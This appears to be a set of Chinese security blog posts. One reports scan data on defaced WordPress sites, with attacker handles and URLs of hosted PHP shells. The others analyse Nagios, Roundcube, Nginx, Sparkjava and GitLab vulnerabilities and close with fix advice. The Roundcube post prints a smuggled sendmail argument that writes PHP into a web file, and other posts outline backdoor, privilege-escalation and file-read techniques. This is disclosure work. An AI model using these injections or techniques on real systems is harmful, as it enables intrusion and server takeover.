    这些网站分别归属于82个国家与地区,其中 Top 20 国家与地区分布如下图:

    第二次扫描探测结果:

    我们于 2017/02/14 对全球的 WordPress 网站再次进行了扫描探测,获取最新数据如下:

    现存漏洞站数量:13390 个,与 2017/02/11 数据对比减少了1971 个。 其中数据重合量为12584 个,网站新增量为 806 个,存在代码执行插件的网站数量为 905 个。

    第三次扫描探测结果:

    我们于 2017/02/20 对全球 WordPress 网站进行了第三次扫描探测。

    根据第三次得到的数据,我们发现全球依旧存在漏洞的 WordPress 网站数量为11573个,其中与第二次数据重合量为11182个,新增数量为391个,消失数量为2208个,存在代码执行插件的网站数量为69个。

    三次扫描探测数据对比:

    分析上图,我们发现:

    1. 存在漏洞且一直未修复的网站基数还是很大。
    2. 存在允许代码执行插件的漏洞网站数量不多,对现存漏洞网站影响不大。

    Top 10国家存在漏洞网站总量与消失量对比:

    根据上图我们能很清晰的看出, 02/11 后消失的漏洞网站数量约占原有漏洞网站总量的三分之一 。

    网页污染行为分析:

    我们于 2017/02/13 探测这些网站的运行情况,发现共有 9338 个网站已经留下了黑客的痕迹(痕迹如 hacked by xxx)。

    Ps:我们探测的是依旧存在漏洞的网站并获取网站最新文章信息,而在经过修复的网站上还是有可能存在黑客入侵的痕迹。

    我们统计了黑客组织留下的黑客代号,发现不同的黑客代号共出现了85种。其中 Top 20黑客组织代号如下表:

    上表说明的是此时依旧活跃在互联网上的针对该漏洞的黑客组织的排名。 我们分析了黑客留下的痕迹,初步总结了以下几点信息:

    1. 代号为w4l3XzY3 的黑客是事件早期被报道出来的黑客之一,此人曾经于2014年针对 Drupal 网站进行过相同性质的入侵行为。分析其过往行为发现该黑客一直在入侵网站挂黑页,Google搜索该代号已有295000条记录,已经是个惯犯了。
    https://www.drupal.org/node/2394801

    此人推特链接如下: https://twitter.com/w4l3xzy3

    在 nairaland 论坛上有他留下的一些个人信息以及售卖php shell等工具的主题:http://www.nairaland.com/w4l3xzy3

    2. 代号为 SA3D HaCk3D 与 MuhmadEmad 的黑客入侵后留下的页面是相似的,宣传反 ISIS 的信息。前者提到了 peshmarga ,应该是一个中东国家,具有反美倾向。后者提到了 kurdistan ,是黑客组织 “ KurdLinux_Team ” 的成员。该人疑似曾在推特上炫耀自己的黑客行为。
    https://twitter.com/muhmademad

    3. 代号为 GeNErAL HaCkEr ,GeNErAL 与 RxR HaCkEr 的黑客同样疑似出自同一组织。他们还留下了一个 qq 号码:21*****233 。
    搜索该账号获得信息如下图:

    可以看到组织名为 “ Team Emirates” 搜索相关信息发现一个疑似的相关推特https://twitter.com/rxrhackerr

    4. 代号为 GHoST61 的黑客留下的信息为土耳其语,翻译出来大意是“土耳其无处不在”,疑似为出自土耳其的黑客组织。

     

    五、后续影响分析

     

    暗链与插件导致的PHP代码注入与 RCE :

    我们发现当未修复漏洞的网站启用了如 insert_php 或 exec_php 等允许网页执行 PHP 代码的插件时,黑客利用此漏洞除了能够在网页中插入暗链还能在网站中注入后门并以此牟利。

    我们在15361个未修复漏洞的目标站点中,探测到的使用了这两种插件的网站有905个,已经被注入木马后门的网站一共有158个。其中插入的一句话木马口令共有98种。

    暗链发现情况:

    在本次探测到的数据中发现暗链出现频率第一的网址 http://biturlz.com ,重定向到 https://bitly.com 这个网址,出现次数355次。

    出现频率第二的是 www.yellowfx.com 这个网址,53次。

    余下的网址出现频率则比较接近,分布范围较广。

    本次探测到的黑客shell地址如下:

    http://pastebin.com/raw/ku5zcKfu
    https://paste.ee/r/3TwsC/0
    http://pastebin.com/k20u5zcKfu
    http://pastebin.com/raw/F9ffPKBM
    http://pastebin.com/raw/gYyy6Jd7
    http://pastebin.com/raw/fXB166iS
    http://pastebin.com/raw/gLc9bi4z
    http://acommeamour.fr/tmp/3jqy4.php

    PHP shell 种类:

    从探测到的数据分析,此次事件中出现的shell种类如下:

    总结:

    黑客利用 pastebin.com 等网站存放 shell,目前为止这些网站已经开始陆续关闭。攻击峰潮已过,我们需要抓紧进行事后补救工作。

    值得注意的是虽然本次探测到的被植入后门的网站数量并不是很多,但是修复漏洞并不代表清理了后门,所以实际被挂马的网站数量将会更多。

    建议启用类似 insert-php 插件的用户在升级 WordPress之后检查网站目录,查杀木马。尤其是 wp-content/uploads/ 目录,检查网站目录下是否出现文件改动如 wp.php、 info.php、db.php 等文件并核查文件内容。

    从获取到的黑客shell 内容分析,index.php 、 apis.php、wp.php、info.php、db.php、css.php、insert_php.php 这些文件需要重点检查。

    对于此次事件,我们还将予以持续跟进。

     

    六、漏洞修复方案

     

    升级 WordPress到最新版 4.7.2 ,可以选择下载 WordPress 4.7.2 或者前往后台更新面板手动点击升级。支持后台自动升级的网站已经自动完成升级过程。

     

    七、相关链接

     

    关于

     

    404 Team,国内黑客文化浓厚的知名安全公司知道创宇神秘而核心的部门,最为大家熟知的分享包括:KCon 黑客大会、Seebug 漏洞平台、ZoomEye 钟馗之眼网络空间搜索引擎。

    404 Team 依托 Seebug 与 ZoomEye 两大平台能力及内部的漏洞相关工业化平台能力(WSL),总能在漏洞爆发的最小黄金周期内完成全球性响应。

    除了依托这些开放平台打造了全球黑客生态圈之外,404 Team 还在持续创新创造,为整个知道创宇业务需求输出精心打磨的漏洞弹药及相关安全产品。

    404 Team,守正出奇,知行合一。

     

     

    作者:kk | Categories:安全研究技术分享 | Tags:
  • Nagios Core 代码执行漏洞(CVE-2016-9565)分析

    2016-12-23

    Author: p0wd3r, dawu (知道创宇404安全实验室)

    Date: 2016-12-15

    0x00 漏洞概述


    1.漏洞简介

    Nagios 是一款监控IT基础设施的程序,近日安全研究人员 Dawid Golunski 发现在 Nagios Core 中存在一个代码执行漏洞:攻击者首先伪装成 RSS 订阅源,当受害应用获取 RSS 信息时攻击者将恶意构造的数据传给受害者,程序在处理过程中将恶意数据注入到了 curl 的命令中,进而代码执行。

    2.漏洞影响

    漏洞触发前提:

    1. 攻击者可伪装成https://www.nagios.org,利用 dns 欺骗等方法
    2. 攻击者被授权,或者攻击者诱使授权用户访问rss-corefeed.phprss-newsfeed.phprss-corebanner.php其中一个文件。

    成功攻击可执行任意代码。

    3.影响版本

    Nagios Core < 4.2.2

    0x01 漏洞复现


    1. 环境搭建

    Dockerfile:

    然后运行:

    访问http://127.0.0.1/nagios,用nagiosadmin:admin登录即可

    2.漏洞分析

    漏洞触发点在/usr/local/nagios/share/includes/rss/extlib/Snoopy.class.inc第657行,_httpsrequest函数中:

    这里使用了escapeshellcmd来对命令参数进行处理,escapeshellcmd的作用如下:

    escapeshellcmd

    作者意在防止多条命令的执行,但是这样处理并没有防止注入多个参数样如果$URI可控,再配合curl的一些特性便可以进行文件读写,进而代码执行。(一般来说为防止注入多个参数要使用 escapeshellarg,但该函数也不是绝对安全,详见 CVE-2015-4642。)

    因为之前爆出的 CVE-2008-4796,代码在4.2.0版本做了改变,但是该补丁可以被绕过,只要我们在输入中闭合前后的"即可。

    下面我们来看$URI是否可控。根据代码逻辑来看,_httpsrequetusr/local/nagios/share/includes/rss/rss_fetch.inc中的fetch_rss函数调用,这样我们创建这样一个测试文件test.php

    访问http://127.0.0.1/nagios/test.php之后开启动态调试,我们在上述exec函数处下断点,函数调用栈如下:

    req-call

    $URI情况如下:

    uri-control

    可知$URI可控,并且在传入过程中没有被过滤。

    接下来需要构造curl参数来得到我们想要的结果,这里我们使用 Dawid Golunski 提供的 Exp,需要注意的是,他提供的代码可验证4.2.0之前的版本,若验证版本大于等于4.2.0且小于4.2.2时,需对其代码进行一下更改,加上闭合所需要的双引号:

    该 Exp 具体流程如下:

    1. 在攻击者的服务器上开启一个 http/https 服务器
    2. 受害者使用fetch_rss向该服务器发其请求
    3. 攻击者收到请求后对其进行重定向,重定向 url 为 https:// + 攻击者服务器 + payload,payload 中使用-F将文件内容发送给服务器,--trace-ascii将流量记录到文件中(类似 Roundcube RCE 中 mail函数的-X)。
    4. 服务器接收到重定向的请求后进行了以下三个操作:
      1. 解析文件内容
      2. 返回后门内容进而通过流量记录写到后门文件中
      3. 返回构造好的XML,在description中添加<img src=backdoor.php>
    5. 受害者解析XML并将description的内容输出到html中,进而自动执行后门

    为了方便验证,我们在网站目录下创建一个exp.php:

    (仅为验证漏洞,这里我们并没有解析XML)然后我们在172.17.0.3上运行 Exp,然后访问http://127.0.0.1/exp.php即可得到结果:

    exp

    实际测试时 Exp 中的后门代码有可能在日志中会被截断从而导致命令执行不成功,建议写入简短的一句话:

    backdoor

    真实情况下,fetch_rss的调用情况如下:

    req-call-1

    可见我们并不能控制其参数的值,所以只能通过 dns 欺骗等手段使目标对https://www.nagios.org的访问指向攻击者的服务器,进而触发漏洞。

    3.补丁分析

    4.2.2版本中删除了includes/以及rss-corefeed.phprss-newsfeed.phprss-corebanner.php

    0x02 修复方案


    升级到4.2.2

    0x03 参考


    1. Seebug漏洞详情
      https://www.seebug.org/vuldb/ssvid-92573
    2. Dawid Golunski 的漏洞报告:
      http://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
    3. escapeshellcmd的使用手册:
      http://php.net/manual/zh/function.escapeshellcmd.php

     

    作者:kk | Categories:安全研究 | Tags:
  • Roundcube 1.2.2 远程命令执行漏洞 漏洞分析

    2016-12-13

    Author: p0wd3r, LG (知道创宇404安全实验室) Date: 2016-12-08

    0x00 漏洞概述


    1.漏洞简介

    著名的PHP代码审计工具 RIPS 于12月6日发布了一份针对 Roundcube扫描报告,报告中提到了一个远程命令执行漏洞,利用该漏洞攻击者可以在授权状态下执行任意代码。官方已发布升级公告

    2.漏洞影响

    触发漏洞需满足以下几个前提:

    1. Roundcube 使用 PHP 的 mail 来发送邮件,而不通过其他 SMTP Server
    2. PHP 的 mail 使用 sendmail 来发送邮件(默认)
    3. PHP 的 safe_mode 是关闭的(默认)
    4. 攻击者需要知道 Web 应用的绝对路径
    5. 攻击者可以登录到 Roundcube 并可以发送邮件

    成功攻击后攻击者可远程执行任意代码。

    3.影响版本

    1.1.x < 1.1.7

    1.2.x < 1.2.3

    0x01 漏洞复现


    1. 环境搭建

    Dockerfile:

    然后执行:

    然后访问http://127.0.0.1:8080按步骤安装即可.

    2.漏洞分析

    首先看program/steps/mail/sendmail.inc第95-114行:

    这里取$_POST中的_from赋值给$from,如果$from不是数字就交给rcmail_email_input_format处理,处理后如果返回非空则再过滤$from,使其满足正常 email 的形式。

    我们看一下rcmail_email_input_format,在program/steps/mail/sendmail.inc第839-896行:

    foreach中的正则仅匹配正常的from格式,即xxx@xxx,如果匹配不到则continue,所以如果我们提交xxx@xxx -a -b这样的“空格 + 数据”,函数最终并没有对其进行改变,返回的$result也就是空了,进而执行完函数后不会再对$from进行过滤。

    接下来在program/steps/mail/sendmail.inc第528行:

    $from被传入了deliver_message中,在program/lib/Roundcube/rcube.php第1524-1678行:

    可以看到当我们使用PHP的mail函数来发送邮件时$from会被拼接到mail的第五个参数中,这个参数的用处如下:

    add-para

    意思就是PHP的mail默认使用/usr/sbin/sendmail发送邮件(可在php.ini中设置),mail的第五个参数就是设置sendmail的额外参数。

    sendmail有一个-X参数,该参数将邮件流量记录在指定文件中:logfile

    所以到这里攻击思路如下:

    1. 构造邮件内容为想要执行的代码
    2. 点击发送时抓包更改_from
    3. sendmail将流量记录到 php 文件中

    实际操作一下:

    首先登录 Roundcube 并开始发送邮件:admin-dashboard

    点击发送,截包修改:

    original

    edited

    其中将_from改成:example@example.com -OQueueDirectory=/tmp -X/path/rce.php,其中-X后的路径需根据具体服务器情况来设置,默认 Roundcube 根目录下temp/logs/是可写的。然后将_subject改成我们想要执行的代码,这里是<?php phpinfo();?>

    请求有可能会超时,但是并不影响文件的写入。

    发送过后触发漏洞:

    phpinfo

    3.补丁分析

    patch

    使用escapeshellarg$from被解析为参数值。

    0x02 修复方案


    升级程序:https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released

     

    0x03 参考


    1. Roundcube 扫描报告:

      https://blog.ripstech.com/2016/roundcube-command-execution-via-email/

    2. PHP 的 mail 函数:

      http://php.net/manual/zh/function.mail.php

    作者:kk | Categories:安全研究 | Tags:
  • Nginx权限提升漏洞(CVE-2016-1247) 分析

    2016-11-23

    Author:xd0ol1(知道创宇404实验室) data:2016-11-17

    0x00 漏洞概述


    1.漏洞简介

    11月15日,国外安全研究员 Dawid Golunski 公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于 Debian 系列的发行版,Nginx 作为目前主流的一个多用途服务器,因而其危害还是比较严重的,官方对此漏洞已经进行了修复。

    2.漏洞影响

    Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。

    3.影响版本

    下述版本之前均存在此漏洞:
    Debian: Nginx1.6.2-5+deb8u3
    Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
    Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
    Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

    0x01 漏洞复现


    1.环境搭建

    测试环境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3

    PoC详见如下链接,给出的 nginxed-root.sh 脚本在其中的第V部分:
    https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

    2.漏洞触发

    恶意者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的 root 权限,执行 PoC 后结果如下图:

    5

    提示要等待,但我们可以通过如下命令进行触发:

    提权后的结果如下:

    6

    3.漏洞利用分析

    一般来说,如果想要修改函数的功能,最直接的就是对其源码进行更改,但很多情况下我们是无法达成此目标的,这时就可以借助一些hook操作来改变程序的流程,从而实现对函数的修改。在 Linux 系统下,我们可以通过编译一个含相同函数定义的 so 文件并借助/etc/ld.so.preload文件来完成此操作,系统的 loader 代码中会检查是否存在/etc/ld.so.preload 文件,如果存在那么就会加载其中列出的所有 so 文件,它能够实现与 LD_PRELOAD 环境变量相同的功能且限制更少,以此来调用我们定义的函数而非原函数。此方法适用于用户空间的so文件劫持,类似于 Windows 下的 DLL 劫持技术。更进一步,如果我们将此技巧与含有suid的文件结合起来,那么就可以很自然的实现提权操作了,所给的 PoC 就是利用的这个技巧。

    关于 hook 操作,简单来看就是如下的一个执行流程:

    7

    在 PoC 利用中与此相关的 C 代码如下所示,如果将其编译成so文件并把路径写入到/etc/ld.so.preload文件的话,那么可以实现对 geteuid()函数的 hook,在 hook 调用中就能执行我们想要的恶意操作。

    我们可以将上述代码编译后来做个简单的测试,结果如下图,观察 nginxrootsh 文件前后属性的变化以及/etc/ld.so.preload文件存在与否可以判断我们的恶意操作是否执行了,很显然 hook 是成功的,和 PoC 相同这里也是通过sudo来触发hook调用。

    8

    接下来我们考虑下如何将内容写进/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx 在配置 log 文件时采用的不安全权限设置使得我们能很容易的实现此目的,从而实现 www-data 到 root 的权限提升。为了看的更清楚,我们首先将目录/var/log/nginx/下的文件全部删除,再重启下 nginx 服务,最后执行如下两条命令:

    此时得到的结果如下图所示:

    9

    可以看到 error.log 文件的属性为:

    将其软链接到/etc/ld.so.preload 文件就可以了,这里为了简单测试,我们将其软链接到/etc/xxxxxxxxxx,同样需要上述那两条触发命令。从上图中我们看到了成功结果,此时 www-data 用户是可以对/etc/xxxxxxxxxx文件进行写操作的。

    至此,我们将这些点结合起来就可以实现对此漏洞的利用了。

    0x02 修复方案


    Nginx官方已经修复,用户应尽快更新至最新版本。

    详细信息:

    Debian 系统

    https://www.debian.org/security/2016/dsa-3701

    https://security-tracker.debian.org/tracker/CVE-2016-1247

    Ubuntu 系统

    https://www.ubuntu.com/usn/usn-3114-1/

    0x03 参考


    https://www.seebug.org/vuldb/ssvid-92538
    https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
    https://minipli.wordpress.com/2009/07/17/ld_preload-vs-etcld-so-preload/
    http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/

    作者:kk | Categories:安全研究 | Tags:
  • Sparkjava Framework 文件遍历漏洞(CVE-2016-9177)分析与探究

    2016-11-17

    Author:dawu(知道创宇404实验室) data:2016-11-16

    0x00 漏洞概述


    1.漏洞简介

    Sparkjava是一款小型的web框架,它能够让你以很少的代码构建出一个java web应用。近日,某国外安全研究人员发现其存在文件遍历漏洞,可以通过该漏洞读取任意文件内容。在对这个漏洞进行复现与分析的时候,我们又发现了一些可能可以利用的地方,但是利用条件更加苛刻。

    2.漏洞影响

    Sparkjava版本 < 2.5.2

    0x01 漏洞复现

    1.验证环境

    Jdk-1.8.111 Apache maven 3.3.9 在写好Sparkjava代码后,在文件所在目录打开命令行,运行mvn package进行编译打包。

    2.漏洞复现

    根据官网给出的示例,我们写了一个简单的函数去复现这个漏洞:

    pom.xml的配置为xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5</version> </dependency>这里提供已经打包好的jar文件供大家下载。可以用如下命令运行:bash java -jar sparkexample-jar-with-dependencies.jar 我们可以通过(..\)来改变路径从而读取任意文件。如图,我们读取到/etc/passwd:

    复现

    在漏洞发现者的描述中,Spark.staticFileLocation()和Spark.externalStaticFileLocation()这两个函数都存在这个问题。经过开发者测试,在IDE中运行时,两个函数都可以复现这个漏洞;运行打包好的jar包时,只有Spark.externalStaticFileLocation()这个函数可以触发漏洞。

    0x02 补丁分析与深入研究


    1.补丁分析

    很明显,在漏洞被发现时,官方没有对url中的路径做任何处理。在漏洞被修补之后,官方推出了新的版本2.5.2。这里我们对比之前的版本,并且通过调试,尝试分析官方的修补方案。 官方修补链接(https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9) 当我们正常请求时:bash curl "127.0.0.1:4567/l.txt" 跟到关键代码处,我们可以看到在判断文件是否存在之后,官方添加了DirectoryTraversal.protectAgainstInClassPath(resource.getPath());进行判断。

    动态调试1

    这里,path就是我们HTTP请求的地址,addedPath就是我们通过staticFiles.externalLocation()函数设置的路径与path拼接之后的值,resource中的file的值就是addedPath值经过路径的处理的值(例如:/tmp/test/..\l.txt先将所有的\换成/,再对路径进行处理,最后结果为/tmp/l.txt),resource.getPath()就是addedPath的值。

    动态调试2

    protectAgainstInClassPath()函数中,需要判断removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())是否为false,为false就抛出。

    removeLeadingAndTrailingSlashesFrom(path)为新添加的函数,作用是将path首尾的/去掉和将尾部的\去掉。在这里经过处理之后,path的值为tmp/l.txt

    StaticFilesFolder.external()则是返回external的值,在这里就是tmp。如果removeLeadingAndTrailingSlashesFrom(path)前面的字母是tmp,则进入下一步。

    综上所述,官方通过比较经过处理后的路径的开头和我们设置的externalLocation()的路径是否相同来防止我们利用..\读取任意文件。

    2.深入探究

    我们修改了pom.xml,使用新的Sparkjava版本进行编译尝试,做了如下探究。xml <dependency> <groupId>com.sparkjava</groupId> <artifactId>spark-core</artifactId> <version>2.5.2</version> </dependency>

    ①软链接的利用

    与Sparkjava(CVE-2016-9177)同时爆出来的一个漏洞GitLab的任意文件读取(CVE-2016-9086)是利用软链接的特性,我们就顺手测试了软链接在Sparkjava下的利用。 直接读取文件:file

    path

    怎么才能利用软链接呢?这里的利用条件比较苛刻。笔者想到了两种途径: 1.网站允许上传压缩包,上传后解压并且还能访问到解压后的文件才能利用 2.网站通过wget(wget配置文件中需要retr-symlinks=on)从ftp上下载文件并且能够访问到下载的文件。

    ②再次读取文件

    我们在根目录下新建两个文件tmp.txt,tmp2.txttmp

    再访问

    tmp2

    读取到了tmp.txt和tmp2.txt的内容。 我们分析一下能够再次读取的原因,当我们请求为: bash curl “127.0.0.1:4567/tmp\..\..\tmp.txt” 分析过滤代码处: read1

    addedPath的值为/tmp/tmp/..\..\tmp.txt,经过处理后resource中的file值为/tmp.txt,对于下面的函数removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external()),由于tmp.txt也是由tmp开头,所以判断可以通过,进而读取到tmp.txt

    同样的道理,我们也可以读取到/tmp2/test.txt的内容。

    tmp3

    通过以上分析,笔者认为这个读取很鸡肋,首先staticFiles.externalLocation()中定义的路径只能是一级路径,其次我们要读取的文件的完整路径开头必须和staticFiles.externalLocation()中定义的路径相同。这就限制了这个新的读取,也许只有在某些特定的场合才能有奇效。

    如有错误,欢迎指正:)

    0x03 参考链接


    1.https://www.seebug.org/vuldb/ssvid-92517 2.http://seclists.org/fulldisclosure/2016/Nov/133.https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf94.https://github.com/perwendel/spark/issues/700 5.http://sparkjava.com/documentation.html

     

    作者:kk | Categories:安全研究技术分享 | Tags:
  • GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞 分析

    2016-11-10

    Author:dawu,LG(知道创宇404安全实验室) Data:2016-10-09

    0x00 漏洞概述


    1.漏洞简介

    GitLab 是一个利用Ruby on Rails开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目。近日研究者发现在其多个版本中存在文件读取漏洞(CVE-2016-9086)任意用户authentication_token泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有gitlab项目。

    2.漏洞影响

    • 任意文件读取漏洞(CVE-2016-9086):
      GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13
    • 任意用户authentication_token泄露漏洞:
      Gitlab CE/EE versions 8.10.3-8.10.5

    0x01 漏洞复现


    1.环境搭建

    这里使用8.10.3版本是为了任意用户authentication_token泄露漏洞的复现。

    安装完成后,访问服务器80端口即可看到GitLab登录页面。

    注:8.9.0-8.13.0版本的GitLab的项目导入功能需要管理员开启,8.13.0版本之后所有用户都可以使用导入功能。管理员可以访问http://domain/admin/application_settings 开启,开启之后用任意用户新建项目的时候,可以在import project from一项中看到gitlab export。

    2.漏洞分析

    任意文件读取漏洞(CVE-2016-9086)

    8.9.0版本开始,GitLab新增了导入导出项目的功能。
    一个空的gitlab项目导出后结构如下:

    export

    其中VERSION文件内容为GitLab的导出模块的版本,project.json则包含了项目的配置文件。

    当我们导入GitLab的导出文件的时候,GitLab会按照如下步骤处理: 1.服务器根据VERSION文件内容检测导出文件版本,如果版本符合,则导入。
    2.服务器根据Project.json文件创建一个新的项目,并将对应的项目文件拷贝到服务器上对应的位置。

    检测VERSION文件的代码位于:/lib/gitlab/import_export/version_checker.rb中:

    我们可以看到这里的逻辑是读取VERSION文件的第一行赋值给变量version,然后检测verison与当前版本是否相同,相同返回true,不相同则返回错误信息(错误信息中包括变量version的值). 于是漏洞发现者Jobert Abma巧妙的使用了软链接来达到读取任意文件的目的。首先,我们给VERSION文件加上软链接并重新打包。

    version_link

    这样,读取VERSION文件的时候服务器就会根据软链接读取到/etc/passwd的第一行内容并赋值给version。但是由于version与当前版本不相同,所以会输出version的值,也就是/etc/passwd第一行的内容。

    访问之前搭建好的GitLab服务器,创建一个新的项目,填写完项目名称后在Import project from一栏中选择GitLab export,上传我们修改后的导入包,然后就可以看到/etc/passwd文件第一行

    VERSION

    但是,如果只读取任意文件的第一行,能做的事情还是太少了。漏洞发现者显然不满足这一结果,他继续找了下去.
    读取Project.json这一配置文件的代码位于:/lib/gitlab/import_export/project_tree_restorer.rb中:

    在这里,我们可以再次使用软链接使变量json获取到任意文件的内容,但是由于获取的文件不是json格式,无法decode,导致异常抛出,最终在前端显示出任意文件的内容。 添加软链接并打包:

    json_link

    上传导出包,页面上显示的结果:

    json

    任意用户authentication_token泄露漏洞

    复现步骤为:

    1.注册一个普通用户,创建一个新的项目
    2.在项目的member选项中,添加管理员到项目中。

    add_admin

    3.点击edit project,找到Export project部分,点击Export project,等待几分钟去查看注册邮箱收到的下载地址或者刷新页面,点击Download export下载导出包。

    download

    4.导出包的project.json中已经含有了管理员的authentication_token

    admin_token

    得到authentication_token之后我们就可以通过api做管理员可以做的事情了,比如查看管理员所在的项目:

    get_all_project

    分析原因:

    我们在\app\controllers\projects_controller.rb中找到了export函数,这个函数被用来导出项目文件。

    往下跟add_export_job(),在\app\models\project.rb中:

    继续到\app\workers\project_export_worker.rb文件的ProjectExportWorker.perform_async():

    这里我们可以看到current获取的是User.find(current_user_id)的内容,然后调用::Projects::ImportExport::ExportService.new(project, current_user).execute 由于笔者之前没有接触过ruby,这里只好采用gitlab-rails console来找到User.find()的值。可以看到,在User.find()中,存在authentication_token的值。

    User.find

    跟到\app\services\project\import_export\export_service.rb,这里执行version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver这五个函数来写各种导出文件,其中project_tree_saver()负责导出project.json

    跳过之后的几个繁琐的调用之后,执行了lib/gitlab/import_export/json_hash_builder.rb中的create_model_value函数。

    这里出现了逻辑问题,由于parsed_hash这个变量不是全局变量,所以create_model_value()中执行parse_hash()时,parse_hash()中的parsed_hash被改变,但是create_model_value()函数中的parsed_hash不会变,这就造成了parse_hash()这个函数执行后create_model_value()parsed_hash这个值并没有改变。因此最后导出的文件包含了authentication_token

    我们在gitlab-rails console里展示了这两者的区别。当value=user的时候,parsed_hash={:include=>:user},输出的结果如同图中的user.as_json(),会将所有内容输出,包括authentication_token。当parsed_hash为经过parse_hash()处理后的{:include=>{:user=>{:only=>[:id, :email, :username]}}}时,输出结果与user.as_json(only: [:id, :email, :username])相同。

    include_only

    后续RCE方式的探讨

    hackone的两个报告中,漏洞发现者都提到了leads to RCE,笔者尝试去实现这一点。由于GitLab源码在gitlab.com上,所以当获取了GitLab的管理员权限后,我们可以通过authentication_token修改GitLab项目的源码,留下自己的后门。 为了重现这种情况,我们在本地新建一个新的项目去通过authentication_tokenGitLab api来修改项目文件。

    root账户创建一个项目:test_rce,其中README.md的内容为created by root

    admin_test

    接下来,我们要用gitlabapi来修改它。首先,根据projects的api找到test_rce项目对应的id,这里是18

    find_project_id

    我们再根据api读取一下文件

    read_file

    这里,contentY3JlYXRlZCBieSByb290,这是文件内容被base64加密后的结果,解密一下就可以看到created by root

    base64decode1

    根据api的要求,我们通过PUT数据来修改文件,将README.md修改为change by notroot。 当我们再读一次,content内容为:Y2hhbmdlIGJ5IG5vdHJvb3Q=,解码之后就是change by notroot

    changefile

    base64decode2

    不得不说,笔者所实现的这种方式攻击时间跨度很长,能否执行命令取决于开发者下一次更新的时间,这也是这种方法的缺点之一。

    0x02 官方修复分析


    任意文件读取漏洞(CVE-2016-9086)修复分析

    symbolic_link_repair

    我们可以看到,官方先移除了导入包里的软连接,其次,读取VERSION的内容和project.json的内容出错后将内容输出到日志里而非返回到前端。

    任意用户authentication_token泄露漏洞修复分析

    token_repair

    官方让json_config_hash[current_key]获取到parse_hash()处理后的值。

    0x03 参考

     


    作者:kk | Categories:安全研究技术分享 | Tags: